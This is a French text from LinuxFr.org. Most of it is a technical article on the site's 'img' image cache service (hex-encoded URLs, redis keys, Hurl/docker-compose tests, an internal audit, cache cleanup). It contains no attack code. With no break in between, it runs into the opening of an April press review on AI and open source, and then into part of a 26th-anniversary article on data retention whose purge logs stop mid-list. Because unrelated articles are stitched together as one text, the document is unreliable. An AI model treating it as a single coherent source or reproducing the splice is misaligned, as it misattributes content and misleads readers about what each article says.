LinuxFr.org vous permet d’utiliser des images externes dans les contenus et commentaires du site. Ces images sont incluses en syntaxe markdown avec ![description textuelle](adresse "titre optionnel") (soit en saisissant directement du Markdown, soit en cliquant sur l’icône d’ajout d’image dans l’éditeur). Profitons-en pour rappeler que pour utiliser une image sur LinuxFr.org, vous devez vous assurer de respecter sa licence.

Nous vous encourageons donc à utiliser des images sous licence libre et à citer les auteurs (c’est même obligatoire pour les licences CC-by et CC-by-sa). Cette citation est tirée de la dépêche d’annonce Un nouveau reverse-proxy cache pour les images externes sur LinuxFr.org de 2012.

Il est aussi recommandé de mettre une vraie description textuelle, qui finira dans l’attribut alt de la balise img utilisée pour l’accessibilité ou si l’image ne peut être chargée. Il peut être utile de lui donner un titre qui apparaîtra l’autre du survol de l’image à la souris par exemple.

Exemple :

![Logo LinuxFr.org](https://linuxfr.org/images/logos/linuxfr2_classic_back.png "L’actualité du logiciel libre et des sujets voisins (DIY, Open Hardware, Open Data, les Communs, etc.), sur un site francophone contributif géré par une équipe bénévole par et pour des libristes enthousiastes.")

Buts du cache d’images

Les raisons évoquées à la mise en place de img (sans ordre particulier) :

• la sécurité : si une image externe n’est servie qu’en HTTP (en clair donc) et est appelée au milieu d’une page LinuxFr.org elle-même servie en HTTPS, alors le navigateur va râler sur le mélange des genres. img permet de servir toutes les images identiquement (par exemple en HTTPS, et avec le certificat de LinuxFr.org, via le serveur frontal devant img). À noter que ces images ne sont pas servies directement depuis le domaine principal linuxfr.org mais depuis un sous-domaine img.linuxfr.org pour éviter que le JavaScript embarqué dans les images en SVG puisse servir de vecteur d’attaque contre le site.
• la protection de la vie privée des personnes visitant LinuxFr.org : seul LinuxFr.org voit les informations en provenance de leur navigateur (dont l’adresse IP). Les équipes d’administration des différents sites ne les voient plus (elles voient l’adresse IP du serveur LinuxFr.org).
• une meilleure gestion du trafic : au lieu d’envoyer tout notre public chercher individuellement chaque image, LinuxFr.org la récupère une fois et la rend disponible. Si le site externe fournissant l’image est un serveur à faibles ressources (liaison ADSL avec faible débit montant par exemple), la mise en cache permet de garantir qu’il ne recevra qu’un faible volume de requêtes (la récupération se faisant initialement toutes les 10 min tant que des demandes arrivent, le cache expirant après 10 min).
• la conservation des images : les images incluses depuis des sites externes peuvent ne plus être disponibles (l’entité a disparu, le serveur a été arrêté, le domaine a été perdu, l’adresse a changé, etc.). Nous avons donc un mécanisme de cache pour que nous puissions continuer à servir une image même si elle devient indisponible.

Parmi les conséquences de cette implémentation initiale, on peut citer :

• si le fichier est changé sur le serveur distant (modifié, converti dans un autre format), l’ancien fichier est servi jusqu’à la prochaine récupération et le nouveau fichier ne sera servi qu’à la prochaine récupération ;
• si le fichier est supprimé sur le serveur distant, l’image ne sera plus servie après la prochaine récupération (car le serveur a répondu que l’image n’existe plus) ;
• il est possible de modifier l’image au passage : les images d’avatar sont retaillées pour une hauteur de 64 pixels par exemple ;
• il est possible de bloquer des images : les images problématiques (pub/spam, contenus pour adultes, images injurieuses, etc.) peuvent être bloquées et ne plus être servies ;
• par ailleurs img n’accepte de servir que les images connues de LinuxFr.org dont le poids fait moins de 5 MiB.

À l’utilisation

Lors de l’écriture d’un commentaire ou d’un contenu sur LinuxFr.org, une personne va ajouter une image externe via la syntaxe Markdown, par exemple ![Logo LinuxFr.org](https://linuxfr.org/images/logos/linuxfr2_classic_back.png)

Ce qui donne à l’affichage :

Et côté code HTML :

<img src="https://linuxfr.org/images/logos/linuxfr2_classic_back.png" alt="Logo LinuxFr.org">

OK, mauvais exemple ce n’est pas une image externe, puisqu’elle est hébergée sur LinuxFr.org justement. Prenons un autre exemple ![April - Campagne d’adhésion](https://april.org/campagne-2024/relais/banniereCampagneApril.svg).

Ce qui donne à l’affichage :

Et côté code :

<img src="//img.linuxfr.org/img/68747470733a2f2f617072696c2e6f72672f63616d7061676e652d323032342f72656c6169732f62616e6e6965726543616d7061676e65417072696c2e737667/banniereCampagneApril.svg" alt="April - Campagne d’adhésion" title="Source : https://april.org/campagne-2024/relais/banniereCampagneApril.svg">

Donc on sert l’image via le sous-domaine img.linuxfr.org. On peut aussi noter le titre rempli automatiquement avec la source. Expliquons la nouvelle adresse :

• // on sert en https si la page est en https et en http si la page est en http (c’est plutôt un oubli qu’autre chose, vu que le site est uniquement en https)
• img.linuxfr.org on sert depuis un sous-domaine du site
• 68747470733a2f2f617072696c2e6f72672f63616d7061676e652d323032342f72656c6169732f62616e6e6965726543616d7061676e65417072696c2e737667 est la version en texte-vers-hexadécimal de l’adresse d’origine (68 pour h, 74 pour t (deux fois), 70 pour p, etc.). Il existe des sites et des outils en local pour faire cette conversion, mais cela ne concerne pas la simple utilisation du site.
• banniereCampagneApril.svg on met à la fin le nom du fichier pour être sympa si vous voulez sauver l’image en local avec un nom plus explicite

Ceci était le cas où tout se passe bien, comme prévu, comme le voulait la personne qui voulait utiliser une image externe.

Voyons maintenant ce qui se passe dans le cas pas si rare où la personne a donné une adresse d’image invalide, une adresse ne pointant pas vers une image vers autre chose (cas extrêmement fréquent), une image trop grosse (plus de 5 MiB), etc. Il se passe la même chose côté code, mais côté affichage, pas d’image, et on voit seulement le texte alternatif dans son navigateur. Dans les coulisses, img a répondu 404, cette adresse n’est pas disponible.

On note donc qu’une même image servie en http:// ou en https:// aura une adresse convertie en hexadécimal différente, donc sera vue comme une autre image par img. Même chose si le serveur externe accepte des adresses sans tenir compte de la casse, ou si on rajoute des paramètres dans l’adresse comme « ?mot_magique=merci ».

Côté code Ruby on Rails

Un contenu ou commentaire est en cours de création et une image externe a été mentionnée. Le code de gestion des images va vérifier que l’image est déclarée dans redis (créer l’entrée img/<adresse> avec adresse l’adresse de l’image en clair, ajouter un champ created_at avec l’horodatage, ajouter l’adresse dans la liste des dernières images img/latest) et renvoyer l’adresse via img.

Le code peut aussi modifier le champ status d’une image dans redis pour mettre ou enlever un blocage (valeur Blocked) par l’équipe du site, et l’ajouter/enlever de la liste des images bloquées img/blocked.

Côté img

Les schémas dans la documentation du service img explicitent les possibilités et les comportements.

Il est possible de faire un GET /status et on obtient une réponse HTTP 200 avec un contenu OK. C’est utile pour tester que le service est lancé (depuis l’intérieur de la plateforme).

Sinon, on peut envoyer des requêtes GET /img/<adresse_en_hexa> or GET /img/<adresse_en_hexa>/<nom_de_fichier> pour les images, et GET /avatars/<adresse_en_hexa> ou GET /avatars/<adresse_en_hexa>/<nom_de_fichier> pour les avatars.

En se limitant aux requêtes légitimes, le comportement de img est le suivant :

• l’adresse demandée a été précédemment déclarée (dans redis par la partie code Ruby On Rails) sinon il répond 404 ;
• l’adresse demandée n’est pas bloquée par l’équipe du site sinon il répond 404 ;
• l’adresse est déjà dans le cache disque, alors il renvoie l’image ;
• l’adresse n’est pas dans le cache disque et la récupération échoue, il renvoie 404 (et va noter temporairement l’échec dans img/err/<uri>) ;
• l’adresse n’est pas dans le cache disque et la récupération a lieu (noté temporairement dans img/update/<uri>): si le serveur répond positivement à la demande, avec une image comme attendue, pas trop volumineuse, alors on la met en cache disque. Si c’est un avatar, on peut retailler l’image. On aura des champs supplémentaires stockés type avec la nature de l’image (en-tête Content-Type), checksum avec un hachage SHA1 et etag avec la valeur ETag (entête ETag).

Le cache est rafraîchi régulièrement.

img est un binaire statique en Go. Il offre des options pour définir le couple adresse:port d’écoute, pour définir où envoyer les logs, pour se connecter à une base redis, pour définir le répertoire du cache disque, pour choisir le User-Agent qui sera utilisé pour les requêtes externes, pour définir l’avatar qui sera renvoyé par défaut, et la possibilité de le lancer uniquement en mode audit interne pour vérifier la cohérence et l’état des données et des fichiers.

Dans les logs on va trouver des infos comme :

2024/10/20 20:39:24 Status code of http://example.invalid/exemple1.png is: 404
2024/10/20 20:39:24 Fail to fetch http://example.invalid/exemple1.png (serve from disk cache anyway)
2024/10/20 20:44:12 Fetch http://example.invalid/exemple2.png (image/png) (ETag: "be5e-4dba836030980")
2024/10/20 20:44:12 http://example.invalid/exemple3.png has an invalid content-type: text/html;charset=UTF-8
2024/10/20 20:44:12 Fail to fetch http://example.invalid/exemple3.png (serve from disk cache anyway)

Ici l’exemple 1 est déjà en cache et peut être servi même si on échoue à le récupérer à ce moment-là. L’exemple 2 vient d’être récupéré. L’exemple 3 a désormais une adresse invalide (qui renvoie une page HTML au lieu d’une image) mais il existe en cache une image précédemment récupérée.

Historique

img a été créé par Bruno Michel en 2012. Adrien Kunysz amène 5 commits en novembre 2013, mais globalement Bruno est le seul à travailler dessus (43 commits) jusqu’en 2018. img fait le job et il n’est pas besoin d’y retoucher trop souvent.

En 2022, Bruno quitte l’équipe du site, et par ailleurs il y a des montées de versions et des migrations à faire sur les serveurs de LinuxFr.org, et img fait partie des services à reprendre en main. Ce qui veut dire le comprendre, le documenter et au besoin l’améliorer.

Bref je décide de me plonger dans img (2022-2024), car a priori ce n’est pas le composant le plus compliqué du site (il vit dans son coin, il offre une interface, c’est du Go, donc on a un binaire seulement à gérer).

Étape 1 : je vais commencer par ajouter un Dockerfile permettant de recompiler img dans un conteneur, en contrôlant la version de Go utilisée, en effectuant une détection d’éventuelles vulnérabilités au passage avec govulncheck. Cela me permet de valider que l’on sait produire le binaire d’une part, et que l’on offre à tout le monde la possibilité de contribuer facilement sur ce composant.

Étape 2 : je vais tester le composant pour vérifier qu’il fonctionne comme je le pense et qu’il fait ce qu’on attend de lui. Je vais ajouter une suite des tests qui couvrent les différentes fonctionnalités et les vérifient en IPv4 et en IPv6, en HTTP 1.1 et en HTTP 2.0. Les tests utilisent Hurl et docker-compose (avec des images redis et nginx), et encore une fois l’idée de donner la possibilité de contribuer facilement. Ils comprennent des tests de types de contenus non pris en charge, le test de la limite à 5 MiB, différents types d’images, le test de vie, des appels erronés (mauvais chemin, mauvaise méthode, etc). Le choix des cas de tests est basé sur le trafic réellement constaté sur le serveur de production, sur les différents cas dans le code et un peu sur l’expérience du testeur.

Étape 2,5 : l’avatar par défaut renvoie sur le site de production, y compris sur les tests en développement en local et sur le serveur de test du site. J’en profite pour ajouter un paramètre pour cela (et cela permettra de passer du PNG au SVG par défaut).

Étape 3 : encore une fois essayons de simplifier la vie d’hypothétiques personnes contributrices. Une petite modification pour que hurl et redis soient fournis via docker-compose et ne soient plus nécessaires sur le poste de développement.

Étape 4 : il est temps de documenter plus le fonctionnement. J’avais déjà décrit les infos stockées dans redis, mais pour comprendre le système de cache, autant fournir des diagrammes pour illustrer ce qui se passe lors d’une requête et comment on passe d’un état à un autre. C’est aussi l’occasion de compléter la suite de tests en ajoutant des tests avant et après expiration du cache, histoire de pouvoir documenter ces cas précis.

Étape 5 : en cas d’échec de récupération, une image était indisponible jusqu’à la prochaine récupération (donc potentiellement pendant 10 min). Autant servir l’ancienne version en cache lorsque cela se produit : je modifie le code et les tests en conséquence.

Étape 6 : je sais que certaines images ont été perdues, que des adresses d’images ont toujours été erronées, que des contenus et commentaires ont été supprimés et qu’il n’y a donc plus lieu de garder les images associées. Je décide d’implémenter dans img un audit interne qui indiquera si des anomalies sont présentes dans redis, si des images sont indisponibles ou si des entrées dans le cache disque ne correspondent plus à aucune image. Et j’ajoute cet audit dans la suite de tests.

Étape 7 : j’écris une dépêche pour parler de tout cela.

Évolutions récentes

Dockerfile

Le fichier Dockerfile du projet permet :

• de partir d’une image officielle Go d’une version donnée, basée sur une distribution minimale Alpine
• de l’utiliser pendant la construction en prenant la liste des dépendances, en les téléchargeant, en prenant l’unique fichier source img.go et en le compilant statiquement avec l’option pour retirer les chemins de compilation
• de rechercher les éventuelles vulnérabilités avec govulncheck
• d’ajouter le paquet tzdata pour avoir les définitions fuseaux horaires (nécessaire pour les conversions de/vers GMT pour les entêtes type Last-Modified).
• de repartir d’une base Alpine en y mettant les définitions de fuseaux horaires et le binaire issus de la partie construction, de déclarer le port d’écoute et de lancer le binaire avec des variables disposant de valeurs par défaut.

La suite de tests

Pour l’utiliser, c’est assez simple, il faut aller dans le répertoire tests et lancer un docker-compose up --build, qui va produire le conteneur contenant img, et démarrer le redis et le nginx préconfigurés pour les tests. Si tout va bien, on attend, et au bout d’un moment il s’affiche :

linuxfr.org-img-test_1  | All tests look good!
tests_linuxfr.org-img-test_1 exited with code 0

Rentrons un peu dans les détails.

D’abord un fichier docker-compose.yaml qui décrit le réseau IPv4/IPv6 utilisé pour les tests, l’image redis qui sera utilisée (stockage géré par docker), l’image nginx qui sera utilisée avec sa configuration et ses fichiers à servir pour les tests, l’image img et son paramétrage (dont l’accès au redis et au nginx) ainsi que le répertoire du cache et enfin l’image de la suite de tests qui est construit avec son Dockerfile, prévue pour faire du Docker-in-Docker et avoir accès au cache img et aux fichiers nginx.

Le Dockerfile de tests est basé sur une image Hurl (un outil pour faire des tests HTTP). On ajoute les fichiers de tests en .hurl, le script shell qui pilote le tout, on prévoit d’avoir les paquets dont on aura besoin : bash (pas par défaut dans les Alpine), coreutils, docker et xxd (pour les conversions texte vers hexadécimal). Et on lance les tests par défaut.

La configuration nginx de test écoute en HTTP sur le port 80 en IPV4 et IPv6 et permet de définir des chemins avec des réponses en HTTP 301, 302, 308, 400, 401, 403, etc. jusqu’à 530 et même 666 pour les codes invalides, ainsi qu’une redirection infinie.

Dans les données de tests servies par nginx, on trouve des contenus du mauvais type, une image destinée à être bloquée, des images dans divers formats, une image très grande en pixels mais pas trop en octets, une image trop grande en octets, et un avatar à servir par défaut.

Sont aussi présents cinq fichiers de tests avec une extension en .hurl :

• le test de vie et les chemins hors img/ et avatars/
• les tests sur les avatars : adresse valide ou invalide, image inexistante, bon et mauvais types, comportements sur les différents codes HTTP et sur une boucle de redirection infinie
• les tests sur les images (découpés en trois parties, la partie initiale, la partie entre la récupération initiale et l’expiration du cache et enfin la partie après la récupération et l’expiration du cache.

Vient enfin le script shell qui pilote le tout :

• on définit les variables pour les cibles IPv4/IPv6 et les binaires redis et img que l’on veut utiliser dans les autres conteneurs Docker
• on liste les images dans différentes catégories :
  • celles qui vont échouer et ne comporteront donc qu’une entrée dans redis sans rien dans le cache disque (avec sous-catégories possibles bloquées/non-bloquées)
  • les images devant être en erreur
  • les images qui iront normalement dans le cache
• on prépare des images qui seront altérées plus tard
• on purge le cache sur disque, on nettoie redis et on déclare toutes nos images comme le faire le code Ruby on Rails. Certaines sont déclarées bloquées pour les tests.
• on lance les premiers tests (en IPv4 et IPv6, en HTTP 1.1 et en HTTP 2.0)
• on modifie certaines images pour simuler un changement sur le serveur externe, une suppression sur le serveur externe ou un blocage par l’équipe de site
• on lance les tests post-récupération initiale mais avant l’expiration du cache (toujours avec toutes les variantes)
• on force l’expiration du cache
• on lance les tests post-expiration du cache (toujours avec toutes les variantes)
• si on est arrivé jusqu’ici, c’est qu’on a passé tous les tests Hurl, alors maintenant on recompte ce que l’on a dans redis et sur disque et on vérifie si ça correspond à nos attentes
• on nettoie les images mises volontairement en échec
• on lance le test d’audit interne qui doit nous dire que tout va bien
• si on est arrivé jusque-là on écrit que tout va bien et on déclenche un sourire de satisfaction.

L’audit interne

L’objectif est de vérifier la cohérence des données dans redis, si des images sont indisponibles ou si des entrées dans le cache disque ne correspondent plus à aucune image.

Le binaire d’img peut donc être appelé en mode audit et lancer des contrôles internes.

D’abord il collecte la liste des fichiers dans le cache disque.

Ensuite il vérifie que toutes les images listées dans les dernières images (img/latest) existent comme entrées individuelles.

Puis il vérifie s’il existe des images bloquées (il râlera s’il y en a) et si chacune existe comme entrée individuelle le cas échéant.

Ensuite on parcourt tous les entrées individuelles d’images :

• on râle si on tombe sur une entrée img/updated/ ou img/err/ sans date d’expiration
• on râle si on tombe sur une entrée img/ sans champ created_at, sans type ou d’un type inconnu, sans checksum, avec un statut inconnu, une image bloquée non présente dans les images bloquées, un champ inconnu, une présence inattendue dans le cache disque, etc. Et on marque les images que l’on a vu passer comme attendu dans le cache.
• on râle sur tous les fichiers du cache restants (ne correspondant à aucune image)
• si on a râlé, on renvoie 1, sinon 0

Le grand nettoyage

img a fonctionné pendant 12 ans en production : il a rencontré des bugs, des comportements inattendus, des contenus et commentaires ont été supprimés ou réédités, etc. Il est donc probable qu’il y ait besoin d’aller dépoussiérer un peu tout cela et de retirer ce qui est inutile.

Les traces du grand nettoyage sont d’abord visibles dans la rétrospective de la première quinzaine de septembre 2024 :

• une « image » sur sept présente un souci (n’est pas une image, adresse invalide, trop grosse, etc.) et n’est donc pas dans le cache sur disque (ce qui a conduit à pas mal de taf sur la partie gestion des images)
• les types de contenu (Content-Type) en provenance de sites variés et divers, c’est quelque chose… entre les « image/JPEG » ou « image/PNG » en majuscules parce que, les charset=utf-8 ou UTF-8 ou… sur du binaire, les name= qui ne sont pas dans la norme… Wikimedia renvoie aussi du profile="https://www.mediawiki.org/wiki/Specs/SVG/1.0.0" (pareil ça semble en dehors de tout standard).

D’abord j’attaque le sujet la fleur au fusil en me disant que ça va passer crème, je fais un joli tableau qui résume l’état initial :

                              img/<uri>   img/updated/<uri>   img/err/<uri>   blocked
total                           25565 -21       634               160            5

no created_at                      23 -23         0                 0            0
created_at                       2857 -3          0                 5            1
created_at+type                   222             0                 0            0
total not in cache               3104 -26         0                 0            0

created_at+type+checksum(+etag) 22463 +5        634               155            4

files in cache                  22778 +5

Donc on a officiellement 25 565 images, mais 23 sont mal créées (état théoriquement impossible hors race condition), 222 sont incomplètes (état théoriquement impossible race condition), 22 463 sont attendues en cache et on a 22 778 fichiers dans le cache. Ça part mal. Je nettoie en premier le plus facile (on voit le delta +/- de mes corrections). Et on arrive à une situation où une image sur sept présente alors un souci et il faut gérer un grand volume de corrections à faire.

Parmi les soucis on trouve des types de contenus inattendus (image/PNG ou image/JPEG avec majuscules, image, des images binaires annoncées avec un charset, des types invalides comme image/jpg au lieu de image/jpeg, etc), des erreurs de notre lectorat (mauvais lien, mauvais copier-coller, lien vers une page web au lieu d’une image), mais aussi des espaces insécables et autres blancs inopportuns, des guillemets convertis, des doubles scheme (http://https:// ou http://file://).

Après cela se cache une autre catégorie encore plus pénible : les images que l’on a en cache, mais qui ne sont plus utiles au site : par exemple celles qui étaient dans des contenus ou commentaires supprimés (notamment le spam), celles qui étaient dans des commentaires ou contenus réédités depuis, etc.

Un problème connu est devenu vite pénible : on n’a pas d’association entre les images externes et les contenus/commentaires concernés. Donc il faut d’abord extraire la liste de toutes les déclarations d’images externes des 12 tables SQL où l’on peut trouver des images et des avatars, sous forme HTML ou Markdown.

Ensuite il faut sortir toutes les entrées dans redis et regarder si on les retrouve en clair ou converties en hexadécimal dans l’extraction SQL.

Et par sécurité on fera une double vérification pour celles détectées en erreur, en relançant une recherche en base (attention à la casse dans la recherche texte).

Au final, on peut supprimer des milliers d’entrées redis et de fichiers dans le cache.

Et un jour l’audit dit :

Connection 127.0.0.1:6379 0
2024/10/19 12:11:21 Sanity check mode only
2024/10/19 12:11:37 Files in cache: 17926
2024/10/19 12:11:39 Total img keys in redis: 18374
OK

Ça aura pris un mois et demi (l’audit a été fusionné le 8 septembre 2024), certes pas en continu, mais ça a été long et guère palpitant de faire ce grand ménage. Et j’ai refait une seconde passe du traitement complet la semaine d’après pour vérifier que tout se passait correctement et que les soucis résiduels après tout ça étaient minimes ou nuls.

Parmi les anecdotes, Web Archive / archive.org a eu sa fuite de comptes utilisateurs et a été indisponible sur la fin (ce qui rendait compliqué la récupération d’images perdues ou leur remplacement par un lien valide par exemple). Et, mentionné dans la rétrospective de la seconde quinzaine de septembre 2024, un compte de spammeur de 2015 supprimé… mieux vaut tard que jamais : détecté parce que comme beaucoup de visiteurs, le spammeur ne fait pas la différence entre un lien vers un document et l’ajout d’une image.

Les problématiques restantes

Il y a la question habituelle de la montée de versions des dépendances (pour nous actuellement contraintes celles du code Ruby on Rails) et du remplacement des composants devenus non-libres (migrer vers valkey plutôt que redis ? Questions à se poser sur l’avenir de nginx ?).

On pourrait aussi ajouter la prise en charge du TLS et d’un certificat X.509 directement dans img plutôt que dans un frontal. Mais ce n’est utile que si on les sépare sur deux serveurs distants, ce qui n’est pas le cas actuellement. Donc même si ça ne paraît pas compliqué à faire, ce n’est pas urgent.

Ensuite une entrée de suivi existe pour séparer le cache des avatars du cache des autres images : les contraintes pour le cache des avatars étant différentes de celui des autres images, le stockage en cache devrait être différent. Cela reste un problème mineur. Le changement doit d’abord être fait côté Ruby on Rails pour définir les avatars avec des clés redis différentes (genre avatars/ au lieu de img/). Ensuite on peut modifier img pour séparer le traitement des requêtes HTTP /img/<adresse_hexa> vers les clés redis img/<adresse> et le cache disque des images par rapport aux requêtes /avatars/<adresse_hexa> vers les clés avatars/<adresse> et le cache des avatars. Il faudra aussi déplacer les avatars stockés dans l’actuel cache des images dans leur propre cache. Et là on devrait pouvoir avoir la même adresse dans les deux caches mais avec un rendu éventuellement différent.

Un autre problème concerne la non-association des contenus ou commentaires avec les images externes qu’ils contiennent, ce qui rend l’administration des anciennes images un peu pénible. Le fait que les contenus et commentaires peuvent être réédités ou simplement prévisualisés (donc que des images peuvent être supprimées et d’autres ajoutées) vient compliquer un peu la tâche. Actuellement un ensemble de scripts permettent d’obtenir ces infos et fournissent un contournement, mais ça reste un peu laborieux.

Un cache rafraîchi périodiquement conserve les images pour éviter de surcharger le site d’origine, pas si le site a changé, déplacé ou perdu l’image. La modification pour servir depuis le cache disque en cas d’échec de récupération couvre le cas de la disparition d’une image avec une erreur sur l’adresse, pas celui où le serveur répond une mauvaise image. Il y a donc une autre entrée de suivi images et disparition du web évoquant l’augmentation des soucis sur les images externes avec un cache rafraîchi, en raison des domaines récupérés par des spammeurs et autres pénibles, ou perdus ou utilisés pour du phishing (imageshack.us, après framapic, pix.toilelibre, etc.). Diverses problématiques sont mentionnées comme la perte d’information et donc la diminution de l’intérêt des contenus anciens, la prime aux pénibles du référencement SEO qui pourrissent le net en récupérant les vieux domaines, la modification possible des images publiées. Pour résoudre cela techniquement, ça nécessite de suivre les images et les domaines perdus, et d’intervenir de façon régulière. Ou bien de ne plus rafraîchir le cache (que cela soit jamais, après la publication ou au bout d’un certain temps après la publication). Pour juste éviter la perte d’info, il est possible de remplacer par une image locale récupérée d’une archive du net type archive.org, avec le côté « pénible à faire » et sans garantie que ça soit toujours possible (merci waybackpy).

Enfin une troisième entrée de suivi suggère l'hébergement des images des dépêches (et éventuellement des journaux), idéalement en permettant d’avoir une version modifiée d’une image en changeant sa taille. On peut citer en vrac comme problématiques la responsabilité légale, l’éventuelle volumétrie, l’impossibilité de corriger une image publiée facilement par la personne qui l’a soumise, la centralisation et la perte de référencement pour des tiers, l’éventuelle rétroactivité et le traitement de l’historique, le fait qu’il faut traiter tous les autres contenus/commentaires pouvant accueillir des images, etc. Autre question, faut-il différencier les images passées en modération a priori de celles en modération a posteriori ?

Conclusion ?

Bref sans surprise, il reste des problématiques et du code à faire pour les gérer (c’est rare un composant sans demandes d’évolution ou de correction). Yapuka (mais probablement plus tard, il faut aussi partager le temps avec les autres composants, ou avoir plus de contributions).

img apporte les fonctionnalités que l’on attendait de lui même si on pourrait faire mieux. Plonger dans ce composant s’est avéré assez intéressant et formateur (et nécessaire) : techniquement cela a été l’occasion de faire du Go, du docker et du docker-compose, du redis et du nginx, du hurl et de l’HTTP. Et de comprendre ce que faisait un code écrit par une autre personne, de se poser des questions pour choisir les tests et le contenu de la documentation, de se demander pour quelles raisons tel ou tel choix a été fait, de rendre ce composant plus « contribuable », et de compléter le tout de façon détaillée avec une dépêche. Reste à savoir si j’ai répondu à l’attente d’un article technique sur le fonctionnement de ce cache, les choix techniques qui ont été faits, les erreurs commises donc à éviter… et la réponse est à trouver dans les commentaires.

Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

• [Silicon] L'avenir de l'IA passe par l'open source
• [ZDNET] Linuxfr.org a 26 ans: bon anniversaire à une belle communauté du Libre
• [cio-online.com] IA générative Open Source: méfiez-vous des imitations
• [Le Monde Informatique] Plagiat de code: Une plainte contre GitHub Copilot en partie déboutée
• [Alliancy] Open source pour réduire l'obsolescence matérielle

[Silicon] L'avenir de l'IA passe par l'open source

✍ Jan Wildeboer, le jeudi 11 juillet 2024.

Les lignes de code source ouvertes permettent aux utilisateurs de comprendre et de contrôler comment les algorithmes d’IA fonctionnent et quelles sources sont exploitées, ce qui renforce la confiance dans la technologie.

[ZDNET] Linuxfr.org a 26 ans: bon anniversaire à une belle communauté du Libre

✍ Thierry Noisette, le jeudi 11 juillet 2024.

117.000 contenus et 1,91 million de commentaires ont été mis en ligne dans le quart de siècle plus un an que vient de passer ce très utile site dédié aux logiciels libres et sujets proches.

[cio-online.com] IA générative Open Source: méfiez-vous des imitations

✍ Reynald Fléchaux, le mercredi 10 juillet 2024.

Nombre de modèles d’IA se revendiquent ouverts. Mais ce qualificatif masque des réalités très différentes, souligne une étude.

[Le Monde Informatique] Plagiat de code: Une plainte contre GitHub Copilot en partie déboutée

✍ Jacques Cheminat, le mardi 9 juillet 2024.

Dans l’action collective menée par des développeurs contre l’assistant Copilot de GitHub, un juge a rejeté l’accusation principale de violation des termes des licences open source. Il laisse par contre la porte ouverte à deux autres charges à étayer.

[Alliancy] Open source pour réduire l'obsolescence matérielle

✍ Rémy Marrone, le lundi 8 juillet 2024.

Les entreprises et les utilisateurs finaux se saisissent encore peu ou mal de l’open source. Les règles sont parfois mal connues et les clichés encore nombreux

En ce 28 juin 2024, le site LinuxFr.org fête ses vingt‑six ans. Depuis 1998, une équipe de bénévoles code et gère ce site, permettant à son lectorat de publier contenus et commentaires sur le logiciel libre, sur les nombreux autres domaines du Libre comme la culture, la cartographie, le matériel ou les manuels scolaires ; mais aussi bien d’autres thématiques comme la robotique, la cuisine, la typographie, TapTempo, la vie et la mort, ou la sérendipité, l’intelligence artificielle et la fIAtigue, la législation.

En vrac, LinuxFr.org c’est aussi :

• un site sans publicité, sans NFT, absent des metaverses et sans pisteur (et léger par rapport au Web obèse moderne) ;
• des citations dans des articles, papiers et publications ;
• une association LinuxFr comme représentant légal ;
• des prix attribués chaque mois ou presque ;
• l’histoire du site racontée dans un entretien de LinuxFr.org avec OpenSource.com (version anglaise) ;
• des liens, des étiquettes, des statistiques et des pages presque valides ;
• de nouvelles règles de pérennité des données à caractère personnel depuis un an ;
• de la modération ;
• des conférences données à feu les Rencontres Mondiales du Logiciel (RMLL), aux ancêtres de l’Open Source Expérience (OSXP) comme Paris Open Source Summit (POSS) ou Solutions GNU/Linux (SGL), au Capitole du Libre (CDL) ou en 2023 à Pas Sage En Seine (PSES) ;
• 26 ans de souvenirs, de rencontres, d’échanges, d’assemblées générales, de stands, de code, de commentaires et de contenus ;
• et plein d’autres choses encore.

En février 2023, nous annoncions la mise en place d’une durée de conservation des données à caractère personnel (DCP) sur LinuxFr.org, avec à partir du 28 juin 2023 :

• fermeture des comptes inactifs pendant trois ans et suppression de leurs données conservées inutiles au service ;
• suppression des données associées inutiles au service pour les comptes fermés depuis plus d’un an.

L’aide du site explique :

• Quelles sont les données à caractère personnel (DCP) traitées par le site ?
• Quelles sont les données sans caractère personnel relatives au compte traitées par le site ?
• Quelles sont les données inutiles au service qui sont supprimées des comptes fermés ?

Depuis le 31 mai 2023, une information de date de dernière activité est associée à chaque compte. Ajoutons que depuis septembre 2023 l’accès à cette information est aussi réduite au besoin du service (on peut connaître l’info de son propre compte ; les admins ont seulement besoin de savoir si la dernière activité date de moins d’un mois, d’un an, trois ans ou plus, en raison des règles précitées).

Nous voici donc un an après, et cette partie de la règle s’applique donc pour la première fois. Nous détaillerons les effets dans la seconde partie de la dépêche.

Sommaire

• Script de minimisation des données et semaine normale
• Effet « 1 an »
• Ça change quoi ?
• Et après ?

Script de minimisation des données et semaine normale

La suppression des données inutiles au service repose actuellement sur un script de minimisation externe, lancé manuellement. Une des raisons de l’aspect manuel est notamment le fait que l’on n’avait pas encore passé la première année, qui marque un seuil comme nous le verrons plus tard.

La précédente exécution du script ayant eu lieu le 19 mai 2024 à 11h (Paris), voyons ce que ça donne sur 12 jours et quelques heures :

Started at vendredi 31 mai 2024, 22:19:15 (UTC+0200)
Dry run mode
13 inactive accounts never used to purge
0 users to minimize
0 accounts to minimize because inactive and not seen since 1 year
0 active accounts not seen since 3 years to inactivate and minimize
12 users without comments/contents to purge
12 accounts to purge
6 logs to purge
12 friendly_id_slugs to purge
0 taggings to purge
0 oauth_access_grants for an oauth_application to purge
0 oauth_access_tokens for an oauth_application to purge
0 oauth_applications to purge
0 oauth_access_grants to purge
0 oauth_access_tokens to purge
0 deleted comments to minimize
0 comments from non-public contents to purge
0 taggings from non-public contents to purge
0 wiki_versions from non-public wiki_pages to purge
0 slugs from non-public wiki_pages to purge
0 non-public wiki_pages to purge
0 slugs from non-public trackers to purge
0 non-public trackers to purge
0 slugs from non-public posts to purge
0 non-public posts to purge
0 poll_answers to from non-public polls to purge
0 slugs from non-public polls to purge
0 non-public polls to purge
0 slugs from non-public bookmarks to purge
0 non-public bookmarks to purge
0 slugs from non-public diaries to purge
0 diaries converted into non-public news to purge
0 non-public diaries to purge
1 news_versions from non-public news to purge
10 paragraphs from non-public news to purge
0 links from non-public news to purge
1 slugs from non-public news to purge
1 non-public news to purge
1 non-public contents to purge

En fonctionnement pré-« 1 an », on a seulement quelques comptes créés mais jamais utilisés à nettoyer (ainsi que tout ce qui y est associé, donc les comptes « accounts », les individus « users », les logs associés « logs » s’il y en a, les raccourcis pour les adresses du site « slugs ») et les contenus, commentaires et étiquetages associés non publics donc non visibles qui ne sont plus nécessaires. On parle donc d’une poignée de comptes et autres par semaine.

Effet « 1 an »

Quelques heures plus tard, le résultat n’est plus du tout le même :

Started at Sat Jun 1 10:55:34 CEST 2024
Dry run mode
15 inactive accounts never used to purge
250 users to minimize
2616 accounts to minimize because inactive and not seen since 1 year
